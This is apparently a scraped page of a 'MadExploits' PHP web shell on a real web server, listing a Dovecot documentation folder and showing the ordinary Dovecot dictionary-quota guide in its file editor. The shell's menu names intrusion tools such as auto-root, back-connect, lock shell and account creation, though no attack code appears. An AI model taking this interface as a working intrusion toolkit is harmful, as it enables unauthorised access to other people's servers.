Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
dovecot /
wiki /
[ HOME SHELL ]
Name
Size
Permission
Action
ACL.txt
11.23
KB
-rw-r--r--
AixPluginsSupport.txt
5.29
KB
-rw-r--r--
AttachmentIndicator.txt
1.13
KB
-rw-r--r--
AuthDatabase.CheckPassword.txt
9.54
KB
-rw-r--r--
AuthDatabase.Dict.txt
10.55
KB
-rw-r--r--
AuthDatabase.LDAP.AuthBinds.tx...
3.28
KB
-rw-r--r--
AuthDatabase.LDAP.PasswordLook...
4.09
KB
-rw-r--r--
AuthDatabase.LDAP.Userdb.txt
6.92
KB
-rw-r--r--
AuthDatabase.LDAP.txt
2.86
KB
-rw-r--r--
AuthDatabase.Lua.txt
9.03
KB
-rw-r--r--
AuthDatabase.Passwd.txt
1.9
KB
-rw-r--r--
AuthDatabase.PasswdFile.txt
6.22
KB
-rw-r--r--
AuthDatabase.SQL.txt
8.53
KB
-rw-r--r--
AuthDatabase.VPopMail.txt
6.84
KB
-rw-r--r--
AuthDatabase.txt
820
B
-rw-r--r--
Authentication.Caching.txt
4.56
KB
-rw-r--r--
Authentication.Kerberos.txt
8.73
KB
-rw-r--r--
Authentication.MasterUsers.txt
10.96
KB
-rw-r--r--
Authentication.Mechanisms.Dige...
3.18
KB
-rw-r--r--
Authentication.Mechanisms.NTLM...
1.22
KB
-rw-r--r--
Authentication.Mechanisms.Winb...
1.48
KB
-rw-r--r--
Authentication.Mechanisms.txt
3.84
KB
-rw-r--r--
Authentication.MultipleDatabas...
3.59
KB
-rw-r--r--
Authentication.PasswordSchemes...
10.72
KB
-rw-r--r--
Authentication.Penalty.txt
1.72
KB
-rw-r--r--
Authentication.Policy.txt
9.31
KB
-rw-r--r--
Authentication.RestrictAccess....
2.76
KB
-rw-r--r--
Authentication.txt
1.77
KB
-rw-r--r--
BasicConfiguration.txt
6.24
KB
-rw-r--r--
Chrooting.txt
2.77
KB
-rw-r--r--
Clients.NegativeUIDs.txt
1.96
KB
-rw-r--r--
Clients.txt
5.48
KB
-rw-r--r--
CompilingSource.txt
13.52
KB
-rw-r--r--
ConfigFile.txt
10.7
KB
-rw-r--r--
Debugging.Authentication.txt
3.63
KB
-rw-r--r--
Debugging.ProcessTracing.txt
1.32
KB
-rw-r--r--
Debugging.Rawlog.txt
5.1
KB
-rw-r--r--
Debugging.Thunderbird.txt
2.12
KB
-rw-r--r--
Design.Arrays.txt
3.82
KB
-rw-r--r--
Design.AuthProcess.txt
16.13
KB
-rw-r--r--
Design.AuthProtocol.txt
8.31
KB
-rw-r--r--
Design.Buffers.txt
2.75
KB
-rw-r--r--
Design.Code.txt
10.01
KB
-rw-r--r--
Design.Dcrypt.txt
4.15
KB
-rw-r--r--
Design.DoveadmProtocol.HTTP.tx...
4.13
KB
-rw-r--r--
Design.DoveadmProtocol.txt
3.68
KB
-rw-r--r--
Design.Dsync.txt
4.94
KB
-rw-r--r--
Design.Events.txt
13.35
KB
-rw-r--r--
Design.Indexes.Cache.txt
6.11
KB
-rw-r--r--
Design.Indexes.MailIndexApi.tx...
2.07
KB
-rw-r--r--
Design.Indexes.MainIndex.txt
10.34
KB
-rw-r--r--
Design.Indexes.TransactionLog....
11.45
KB
-rw-r--r--
Design.Indexes.txt
2.99
KB
-rw-r--r--
Design.InputStreams.txt
10.71
KB
-rw-r--r--
Design.Lua.txt
6.48
KB
-rw-r--r--
Design.MailProcess.txt
215
B
-rw-r--r--
Design.Memory.txt
9.25
KB
-rw-r--r--
Design.OutputStreams.txt
4.81
KB
-rw-r--r--
Design.ParameterForwarding.txt
2.17
KB
-rw-r--r--
Design.Plugins.txt
2.44
KB
-rw-r--r--
Design.Processes.txt
6.59
KB
-rw-r--r--
Design.Storage.ErrorHandling.t...
3.03
KB
-rw-r--r--
Design.Storage.Mail.txt
4.82
KB
-rw-r--r--
Design.Storage.MailNamespace.t...
3.93
KB
-rw-r--r--
Design.Storage.MailStorage.txt
2.07
KB
-rw-r--r--
Design.Storage.MailUser.txt
1.17
KB
-rw-r--r--
Design.Storage.Mailbox.Save.tx...
2.69
KB
-rw-r--r--
Design.Storage.Mailbox.Search....
4.44
KB
-rw-r--r--
Design.Storage.Mailbox.Sync.tx...
6.11
KB
-rw-r--r--
Design.Storage.Mailbox.Transac...
2.83
KB
-rw-r--r--
Design.Storage.Mailbox.txt
1.61
KB
-rw-r--r--
Design.Storage.MailboxList.txt
7.66
KB
-rw-r--r--
Design.Storage.Plugins.txt
5.24
KB
-rw-r--r--
Design.Strings.txt
3.07
KB
-rw-r--r--
Design.txt
2.42
KB
-rw-r--r--
Dict.txt
1.6
KB
-rw-r--r--
Dictionary.txt
9.35
KB
-rw-r--r--
Director.txt
13.14
KB
-rw-r--r--
DomainLost.txt
2.45
KB
-rw-r--r--
Errors.ChgrpNoPerm.txt
1.4
KB
-rw-r--r--
Events.txt
6.68
KB
-rw-r--r--
FindMailLocation.txt
2.6
KB
-rw-r--r--
FinishBasicConfiguration.txt
454
B
-rw-r--r--
HAProxy.txt
3.56
KB
-rw-r--r--
HowTo.AntispamWithSieve.txt
8.8
KB
-rw-r--r--
HowTo.EximAndDovecotSASL.txt
1.47
KB
-rw-r--r--
HowTo.ImapcProxy.txt
6.05
KB
-rw-r--r--
HowTo.PopBSMTPAndDovecot.txt
14.19
KB
-rw-r--r--
HowTo.PopRelay.txt
5.24
KB
-rw-r--r--
HowTo.PostfixAndDovecotSASL.tx...
4.02
KB
-rw-r--r--
HowTo.Rootless.txt
3.79
KB
-rw-r--r--
HowTo.SimpleVirtualInstall.txt
5.93
KB
-rw-r--r--
HowTo.WriteConfiguration.txt
1.54
KB
-rw-r--r--
HowTo.txt
4.49
KB
-rw-r--r--
IMAPServer.Hibernation.txt
1.61
KB
-rw-r--r--
IMAPServer.txt
623
B
-rw-r--r--
ImapMetadata.txt
842
B
-rw-r--r--
IndexFiles.txt
8.5
KB
-rw-r--r--
LDA.Exim.txt
5.43
KB
-rw-r--r--
LDA.Indexing.txt
2.05
KB
-rw-r--r--
LDA.Postfix.txt
10.85
KB
-rw-r--r--
LDA.Qmail.txt
1.15
KB
-rw-r--r--
LDA.Sendmail.txt
4.24
KB
-rw-r--r--
LDA.txt
12.6
KB
-rw-r--r--
LMTP.Exim.txt
5.24
KB
-rw-r--r--
LMTP.txt
4.15
KB
-rw-r--r--
Logging.txt
7.03
KB
-rw-r--r--
LoginProcess.txt
4.93
KB
-rw-r--r--
MDA.txt
439
B
-rw-r--r--
MTA.txt
2.56
KB
-rw-r--r--
MailLocation.LocalDisk.txt
1.77
KB
-rw-r--r--
MailLocation.Maildir.txt
6.08
KB
-rw-r--r--
MailLocation.SharedDisk.txt
2.98
KB
-rw-r--r--
MailLocation.dbox.txt
3.56
KB
-rw-r--r--
MailLocation.mbox.txt
8.5
KB
-rw-r--r--
MailLocation.txt
13.83
KB
-rw-r--r--
MailboxFormat.Cydir.txt
868
B
-rw-r--r--
MailboxFormat.MH.txt
2.61
KB
-rw-r--r--
MailboxFormat.Maildir.txt
18.67
KB
-rw-r--r--
MailboxFormat.dbox.txt
11.63
KB
-rw-r--r--
MailboxFormat.imapc.txt
6.08
KB
-rw-r--r--
MailboxFormat.mailstore.txt
678
B
-rw-r--r--
MailboxFormat.mbox.txt
13.45
KB
-rw-r--r--
MailboxFormat.mbx.txt
1.08
KB
-rw-r--r--
MailboxFormat.txt
13.69
KB
-rw-r--r--
MailboxSettings.txt
3.26
KB
-rw-r--r--
MboxChildFolders.txt
9.19
KB
-rw-r--r--
MboxLocking.txt
2.56
KB
-rw-r--r--
MboxProblems.txt
6
KB
-rw-r--r--
Migration.BincIMAP.txt
8.86
KB
-rw-r--r--
Migration.Courier.txt
3.48
KB
-rw-r--r--
Migration.Cyrus.txt
3.5
KB
-rw-r--r--
Migration.Dsync.txt
5.94
KB
-rw-r--r--
Migration.Gmail.txt
3.89
KB
-rw-r--r--
Migration.Linuxconf.txt
2.6
KB
-rw-r--r--
Migration.MailFormat.txt
10.98
KB
-rw-r--r--
Migration.Online.txt
3.08
KB
-rw-r--r--
Migration.Teapop.txt
1.96
KB
-rw-r--r--
Migration.UW.txt
5.34
KB
-rw-r--r--
Migration.Vm-pop3d.txt
1.75
KB
-rw-r--r--
Migration.txt
7.27
KB
-rw-r--r--
MissingMailboxes.txt
1.95
KB
-rw-r--r--
Mountpoints.txt
2.11
KB
-rw-r--r--
NFS.txt
6.9
KB
-rw-r--r--
Namespaces.txt
13.47
KB
-rw-r--r--
OSCompatibility.txt
1.6
KB
-rw-r--r--
POP3Server.txt
7.19
KB
-rw-r--r--
PasswordDatabase.BSDAuth.txt
205
B
-rw-r--r--
PasswordDatabase.ExtraFields.A...
1.63
KB
-rw-r--r--
PasswordDatabase.ExtraFields.H...
2.76
KB
-rw-r--r--
PasswordDatabase.ExtraFields.N...
495
B
-rw-r--r--
PasswordDatabase.ExtraFields.N...
989
B
-rw-r--r--
PasswordDatabase.ExtraFields.P...
13.02
KB
-rw-r--r--
PasswordDatabase.ExtraFields.U...
1.03
KB
-rw-r--r--
PasswordDatabase.ExtraFields.t...
4.57
KB
-rw-r--r--
PasswordDatabase.IMAP.txt
1.01
KB
-rw-r--r--
PasswordDatabase.PAM.txt
8.4
KB
-rw-r--r--
PasswordDatabase.Shadow.txt
1.19
KB
-rw-r--r--
PasswordDatabase.Static.txt
869
B
-rw-r--r--
PasswordDatabase.oauth2.txt
5.92
KB
-rw-r--r--
PasswordDatabase.txt
8.45
KB
-rw-r--r--
PerformanceTuning.txt
3.24
KB
-rw-r--r--
Pigeonhole.Installation.txt
4.81
KB
-rw-r--r--
Pigeonhole.ManageSieve.Clients...
3.14
KB
-rw-r--r--
Pigeonhole.ManageSieve.Configu...
11.23
KB
-rw-r--r--
Pigeonhole.ManageSieve.Install...
59
B
-rw-r--r--
Pigeonhole.ManageSieve.Trouble...
9.49
KB
-rw-r--r--
Pigeonhole.ManageSieve.txt
1.26
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
7.22
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
3.54
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
4.78
KB
-rw-r--r--
Pigeonhole.Sieve.Configuration...
29.14
KB
-rw-r--r--
Pigeonhole.Sieve.Examples.txt
15.15
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Du...
1.98
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Ed...
2.35
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.In...
1.11
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Sp...
5.66
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Va...
5.01
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.Va...
1.07
KB
-rw-r--r--
Pigeonhole.Sieve.Extensions.tx...
569
B
-rw-r--r--
Pigeonhole.Sieve.Plugins.Extda...
5.56
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.Extpr...
12.88
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.IMAPF...
2.28
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.IMAPS...
5.43
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.Pipe....
6.73
KB
-rw-r--r--
Pigeonhole.Sieve.Plugins.txt
2.49
KB
-rw-r--r--
Pigeonhole.Sieve.Troubleshooti...
6.43
KB
-rw-r--r--
Pigeonhole.Sieve.Usage.txt
6.21
KB
-rw-r--r--
Pigeonhole.Sieve.txt
30.59
KB
-rw-r--r--
Pigeonhole.txt
1.8
KB
-rw-r--r--
Plugins.Apparmor.txt
1.15
KB
-rw-r--r--
Plugins.Autocreate.txt
902
B
-rw-r--r--
Plugins.CharsetAlias.txt
712
B
-rw-r--r--
Plugins.Compress.txt
475
B
-rw-r--r--
Plugins.Expire.txt
13.44
KB
-rw-r--r--
Plugins.FTS.Lucene.txt
3.01
KB
-rw-r--r--
Plugins.FTS.Solr.txt
12.3
KB
-rw-r--r--
Plugins.FTS.Squat.txt
5.92
KB
-rw-r--r--
Plugins.FTS.txt
4.31
KB
-rw-r--r--
Plugins.LastLogin.txt
1.67
KB
-rw-r--r--
Plugins.Lazyexpunge.txt
6.53
KB
-rw-r--r--
Plugins.Listescape.txt
2.35
KB
-rw-r--r--
Plugins.MailCrypt.txt
18.14
KB
-rw-r--r--
Plugins.MailFilter.txt
2.56
KB
-rw-r--r--
Plugins.MailLog.txt
1.82
KB
-rw-r--r--
Plugins.MailboxAlias.txt
1.76
KB
-rw-r--r--
Plugins.Notify.txt
329
B
-rw-r--r--
Plugins.NotifyStatus.txt
2.09
KB
-rw-r--r--
Plugins.PushNotification.txt
16.19
KB
-rw-r--r--
Plugins.QuotaClone.txt
1.49
KB
-rw-r--r--
Plugins.Snarf.txt
1.88
KB
-rw-r--r--
Plugins.Stats.txt
59
B
-rw-r--r--
Plugins.Trash.txt
1.5
KB
-rw-r--r--
Plugins.VarExpandCrypt.txt
1.6
KB
-rw-r--r--
Plugins.Virtual.txt
9.96
KB
-rw-r--r--
Plugins.Welcome.txt
812
B
-rw-r--r--
Plugins.Zlib.txt
4.6
KB
-rw-r--r--
Plugins.txt
4.99
KB
-rw-r--r--
PostLoginScripting.txt
8.62
KB
-rw-r--r--
PreAuth.txt
932
B
-rw-r--r--
QuickConfiguration.txt
6.55
KB
-rw-r--r--
Quota.Configuration.txt
18.49
KB
-rw-r--r--
Quota.Count.txt
1.56
KB
-rw-r--r--
Quota.Dict.txt
6.98
KB
-rw-r--r--
Quota.Dirsize.txt
695
B
-rw-r--r--
Quota.FS.txt
4.37
KB
-rw-r--r--
Quota.Maildir.txt
2.29
KB
-rw-r--r--
Quota.txt
4.78
KB
-rw-r--r--
Replication.txt
15.78
KB
-rw-r--r--
RunningDovecot.txt
5.85
KB
-rw-r--r--
SSL.CertificateClientImporting...
1.55
KB
-rw-r--r--
SSL.CertificateCreation.txt
4.69
KB
-rw-r--r--
SSL.DovecotConfiguration.txt
21.3
KB
-rw-r--r--
SSL.SNIClientSupport.txt
696
B
-rw-r--r--
SSL.txt
3.41
KB
-rw-r--r--
Sasl.txt
1.05
KB
-rw-r--r--
SecurityTuning.txt
942
B
-rw-r--r--
Services.txt
19.43
KB
-rw-r--r--
SharedMailboxes.ClusterSetup.t...
1.98
KB
-rw-r--r--
SharedMailboxes.Permissions.tx...
8.06
KB
-rw-r--r--
SharedMailboxes.Public.txt
8.13
KB
-rw-r--r--
SharedMailboxes.Shared.txt
10.53
KB
-rw-r--r--
SharedMailboxes.Symlinks.txt
1.72
KB
-rw-r--r--
SharedMailboxes.txt
750
B
-rw-r--r--
SocketUnavailable.txt
3.71
KB
-rw-r--r--
Statistics.Old.txt
8.54
KB
-rw-r--r--
Statistics.txt
3.73
KB
-rw-r--r--
Submission.txt
8.5
KB
-rw-r--r--
SystemUsers.txt
4.99
KB
-rw-r--r--
TestInstallation.txt
8.61
KB
-rw-r--r--
TestPop3Installation.txt
4.76
KB
-rw-r--r--
TimeMovedBackwards.txt
3.8
KB
-rw-r--r--
Timeouts.txt
2.85
KB
-rw-r--r--
Upgrading.1.0.txt
4.23
KB
-rw-r--r--
Upgrading.1.1.txt
4.33
KB
-rw-r--r--
Upgrading.1.2.txt
2.57
KB
-rw-r--r--
Upgrading.2.0.txt
4.69
KB
-rw-r--r--
Upgrading.2.1.txt
1.87
KB
-rw-r--r--
Upgrading.2.2.txt
2.17
KB
-rw-r--r--
Upgrading.2.3.txt
11.98
KB
-rw-r--r--
Upgrading.txt
1.01
KB
-rw-r--r--
UserDatabase.ExtraFields.txt
4.6
KB
-rw-r--r--
UserDatabase.NSS.txt
1.23
KB
-rw-r--r--
UserDatabase.Prefetch.txt
2.72
KB
-rw-r--r--
UserDatabase.Static.txt
1.58
KB
-rw-r--r--
UserDatabase.txt
5.35
KB
-rw-r--r--
UserIds.txt
6.36
KB
-rw-r--r--
Variables.txt
22.39
KB
-rw-r--r--
VirtualUsers.Home.txt
3.5
KB
-rw-r--r--
VirtualUsers.txt
5.58
KB
-rw-r--r--
WhyDoesItNotWork.txt
5.64
KB
-rw-r--r--
maildrop.txt
3.44
KB
-rw-r--r--
mutt.txt
3.09
KB
-rw-r--r--
uw2dovecot.sh.txt
498
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Quota.Dict.txt
Dictionary quota ================ *NOTE:* Using the <count> [Quota.Count.txt] backend (possibly together with <quota_clone> [Plugins.QuotaClone.txt] plugin) is now preferred to using this backend. It has less of a chance of quota usage becoming wrong. The /dictionary/ quota backend supports both *storage* and *messages* quota limits. The current quota is kept in the specified <dictionary> [Dictionary.txt]. The available dictionaries include: * SQL * Redis * Flat files See <Dictionary.txt> for full description of the available backends. The quota root format is: ---%<------------------------------------------------------------------------- quota = dict:<quota root name>:<username>[:<option>[...]]:<dictionary URI> ---%<------------------------------------------------------------------------- If /username/ is left empty, the logged in username is used (this is typically what you want). Another useful username is '%d' for supporting domain-wide quotas. The supported options are: * noenforcing: Don't enforce quota limits, only track them. * ignoreunlimited: If user has unlimited quota, don't track it. * ns=<prefix>: This quota root is tracked only for the given namespace. * hidden: Hide the quota root from IMAP GETQUOTA* commands. * no-unset: When recalculating quota, don't unset the quota first. This is needed if you wish to store the quota usage among other data in the same SQL row - otherwise the entire row could get deleted. Note that the unset is required with PostgreSQL or the merge_quota() trigger doesn't work correctly. (v2.2.20+) NOTE: The dictionary stores only the current quota usage. The quota limits are still configured in userdb the same way as with other quota backends. NOTE2: By default the quota dict may delete rows from the database when it wants to rebuild the quota. You must use a separate table that contains only the quota information, or you'll lose the other data. This can be avoided with the "no-unset" parameter. Examples -------- Simple per-user flat file ------------------------- This will create one quota-accounting file for each user. The Dovecot user process (imap, pop3 or lda) needs write access to this file, so %h or mail_location are good candidates to store it. *Warning*: if a user has shell or file access to this location, he can mangle his quota file, thus overcoming his quota limit by lying about his used capacity. ---%<------------------------------------------------------------------------- plugin { quota = dict:User quota::file:%h/mdbox/dovecot-quota quota_rule = *:storage=10M:messages=1000 } ---%<------------------------------------------------------------------------- Server-based dictionaries ------------------------- ---%<------------------------------------------------------------------------- plugin { # SQL backend: quota = dict:User quota::proxy::sqlquota # Redis backend (v2.1.9+): quota = dict:User quota::redis:host=127.0.0.1:prefix=user/ quota_rule = *:storage=10M:messages=1000 } dict { sqlquota = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext } ---%<------------------------------------------------------------------------- The above SQL example uses dictionary proxy process (see below), because SQL libraries aren't linked to all Dovecot binaries. The file and Redis examples use direct access. Example 'dovecot-dict-sql.conf.ext': ---%<------------------------------------------------------------------------- connect = host=localhost dbname=mails user=sqluser password=sqlpass map { pattern = priv/quota/storage table = quota username_field = username value_field = bytes } map { pattern = priv/quota/messages table = quota username_field = username value_field = messages } ---%<------------------------------------------------------------------------- Create the table like this: ---%<------------------------------------------------------------------------- CREATE TABLE quota ( username varchar(100) not null, bytes bigint not null default 0, messages integer not null default 0, primary key (username) ); ---%<------------------------------------------------------------------------- MySQL uses the following queries to update the quota. You need suitable privileges. ---%<------------------------------------------------------------------------- INSERT INTO table (bytes,username) VALUES ('112497180','foo@example.com') ON DUPLICATE KEY UPDATE bytes='112497180'; INSERT INTO table (messages,username) VALUES ('1743','foo@example.com') ON DUPLICATE KEY UPDATE messages='1743'; UPDATE table SET bytes=bytes-14433,messages=messages-2 WHERE username = 'foo@example.com'; DELETE FROM table WHERE username = 'foo@example.com'; ---%<------------------------------------------------------------------------- If you're using SQLite, then take a look at the trigger in this post: http://dovecot.org/pipermail/dovecot/2013-July/091421.html If you're using PostgreSQL, you'll need a trigger: ---%<------------------------------------------------------------------------- CREATE OR REPLACE FUNCTION merge_quota() RETURNS TRIGGER AS $$ BEGIN IF NEW.messages < 0 OR NEW.messages IS NULL THEN -- ugly kludge: we came here from this function, really do try to insert IF NEW.messages IS NULL THEN NEW.messages = 0; ELSE NEW.messages = -NEW.messages; END IF; return NEW; END IF; LOOP UPDATE quota SET bytes = bytes + NEW.bytes, messages = messages + NEW.messages WHERE username = NEW.username; IF found THEN RETURN NULL; END IF; BEGIN IF NEW.messages = 0 THEN INSERT INTO quota (bytes, messages, username) VALUES (NEW.bytes, NULL, NEW.username); ELSE INSERT INTO quota (bytes, messages, username) VALUES (NEW.bytes, -NEW.messages, NEW.username); END IF; return NULL; EXCEPTION WHEN unique_violation THEN -- someone just inserted the record, update it END; END LOOP; END; $$ LANGUAGE plpgsql; CREATE TRIGGER mergequota BEFORE INSERT ON quota FOR EACH ROW EXECUTE PROCEDURE merge_quota(); ---%<------------------------------------------------------------------------- Dictionary proxy server ----------------------- To avoid each process making a new SQL connection, you can make all dictionary communications go through a dictionary server process which keeps the connections permanently open. The dictionary server is referenced with URI 'proxy:<dictionary server socket path>:<dictionary name>'. The socket path may be left empty if you haven't changed 'base_dir' setting in 'dovecot.conf'. Otherwise set it to '<base_dir>/dict-server'. The dictionary names are configured in 'dovecot.conf'. For example: ---%<------------------------------------------------------------------------- dict { quota = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext expire = mysql:/etc/dovecot/dovecot-dict-sql.conf.ext } ---%<------------------------------------------------------------------------- See <Dict.txt> for more information, especially about permission issues. (This file was created from the wiki on 2019-06-19 12:42)
Close
